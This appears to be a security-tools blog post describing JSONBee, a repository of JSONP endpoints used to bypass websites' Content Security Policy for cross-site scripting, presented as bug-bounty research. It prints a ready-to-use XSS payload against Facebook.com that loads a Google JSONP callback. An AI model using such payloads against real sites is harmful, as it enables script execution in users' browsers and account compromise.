JSONBee : A Ready To Use JSONP Endpoints/Payloads To Help Bypass Content Security Policy Of Different Websites

A ready to use JSONP endpoints to help bypass content security policy of different websites. The tool was presented during HackIT 2018 in Kiev.

The main idea behind this tool is to find the JSONP endpoint(s) that would help you bypass content security policy for your target website in an automated way. JSONBee takes an input of a url name (i.e. https://www.facebook.com), parses the CSP (Content-Security-Policy), and automatically suggest the XSS payload that would bypass the CSP. It mainly focuses on JSONP endpoints gathered during my bug bounty hunting activities, and could be used to bypass the CSP.

JSONBee relies on 3 methods to gather the JSONP endpoints:

  • The repository within this project;
  • Google dorks;
  • Internet archive (archive.org).

The tool is not yet fully completed as I’m still adding some validations and features too. However, the repository will be hosted here so that anyone can use it till the tool is ready.

The repo contains ready-to-use payloads that can bypass CSP for Facebook.com, Google.com and more.

Also Read – Snare : Super Next Generation Advanced Reactive HonEypot

Bypasing Facebook.com Content-Security policy:

Facebook.com allows *.google.com in its CSP policy (script-src directive), thus, below payload would work like a charm to execute JavaScript on Facebook.com: "><script+src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=alert(1337)"></script>

If you came across a website that trusts any of the domains in jsonp.txt file in its script-src directive, then pickup a payload that matches the domain and have fun.

R K

Recent Posts

garak, LLM Vulnerability Scanner : The Comprehensive Tool For Assessing Language Model Security

garak checks if an LLM can be made to fail in a way we don't…

13 hours ago

Vermilion : Mastering Linux Post-Exploitation For Red Team Success

Vermilion is a simple and lightweight CLI tool designed for rapid collection, and optional exfiltration…

13 hours ago

AD-CS-Forest-Exploiter : Mastering Security Through PowerShell For AD CS Misconfiguration

ADCFFS is a PowerShell script that can be used to exploit the AD CS container…

13 hours ago

Usage Of Tartufo – A Comprehensive Guide To Securing Your Git Repositories

Tartufo will, by default, scan the entire history of a git repository for any text…

13 hours ago

Loco : A Rails-Inspired Framework For Rust Developers

Loco is strongly inspired by Rails. If you know Rails and Rust, you'll feel at…

1 day ago

Monolith : The Ultimate Tool For Storing Entire Web Pages As Single HTML Files

A data hoarder’s dream come true: bundle any web page into a single HTML file.…

1 day ago